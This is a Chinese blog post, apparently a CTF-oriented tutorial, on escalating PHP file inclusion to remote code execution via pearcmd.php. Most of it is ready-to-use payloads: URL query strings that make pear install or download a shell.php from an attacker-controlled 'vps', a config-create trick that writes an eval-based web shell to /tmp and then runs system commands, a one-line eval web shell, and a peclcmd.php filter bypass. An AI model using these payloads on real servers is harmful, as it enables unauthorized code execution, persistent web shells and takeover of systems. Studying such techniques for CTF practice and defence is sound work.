首页 > 其他分享 >pearcmd文件包含2RCE

pearcmd文件包含2RCE

时间:2024-07-16 22:56:53浏览次数:11  
标签:tmp shell 包含 2RCE usr file pearcmd php

pearcmd文件包含2RCE

了解pear&pearcmd

  • pear:

pear​本身是一个sh程序:通过 pear​ 命令,你可以安装、管理和更新 PHP 的包和扩展。

他在主程序的最后调用了pearcmd.php

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
  • 默认路径:
/usr/local/lib/php/pearcmd.php
  • register_argc_argv=On:

设置register_argc_argv = On(默认是Off)后的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’],并且以+作为分隔符

出网

  • 三个条件:
  1. 已安装pecl/pear,在Docker任意的镜像版本中默认安装,安装路径为/uer/local/lib/php

  2. php.ini当中 register_argc_argv=On需要开启 当这个参数开启的时候,php会注册argc和arv这两个全局变量

  3. 存在文件包含且可以包含后缀为php的文件且没有open_basedir​的限制。

    
        include($_GET['file'].".php");
    
pear install -R /tmp http://xxxxxxx/shell.php
#可以把shell.php下载到/tmp目录下面(- R可以指定下载文件保存的目录)。

测试代码:

//index.php
<?php 
$a = $_GET["file"];
include($a);

Payload:

  • 使用install:
//shell.php
<?php @eval($_POST[cmd]);?>

访问index.php
?file=/usr/local/lib/php/pearcmd.php&+install+http://vps/shell.php
文件默认下载到/tmp/pear/download/shell.php
可以使用-R指定目录
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php
//文件下载到/tmp/shell.php

这样我们就成功下载下来我们vps上的恶意文件,然后我们再包含上它就getshell了

  • 使用download:
?file=/usr/local/lib/php/pearcmd.php&+download+http://vps/shell.php

默认下载到/var/www/html/shell.php

  • download的一种巧妙地构造
?+download+http://vps/test.php&file=/usr/share/php/pearcmd.php

这种构造方式有点巧妙,需要我们在服务器建一个目录:test.php&file=/usr/share/php/,并且将恶意的php命名为:pearcmd.php

其实也可以这么写,去掉上面的test.php:

?+download+http://vps/&file=/usr/share/php/pearcmd.php

创建:&file=/usr/share/php/目录,放入pearcmd.php

然后文件包含pearcmd.php就可以利用了

不出网

使用config-create:

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/mixian.php

/index.php?file=/tmp/mixian.php
然后POST:
1=system('ls /');

例题:[NewStarCTF 公开赛赛道]IncludeTwo

过滤

如果过滤了pearcmd,可以用peclcmd.php,因为就是在peclcmd.php中引用的pearcmd.php

参考

https://tttang.com/archive/1312/

https://y4tacker.github.io/2022/06/19/year/2022/6/关于pearcmd利用总结/

https://blog.csdn.net/rfrder/article/details/121042290

标签:tmp,shell,包含,2RCE,usr,file,pearcmd,php
From: https://www.cnblogs.com/m1xian/p/18306291

相关文章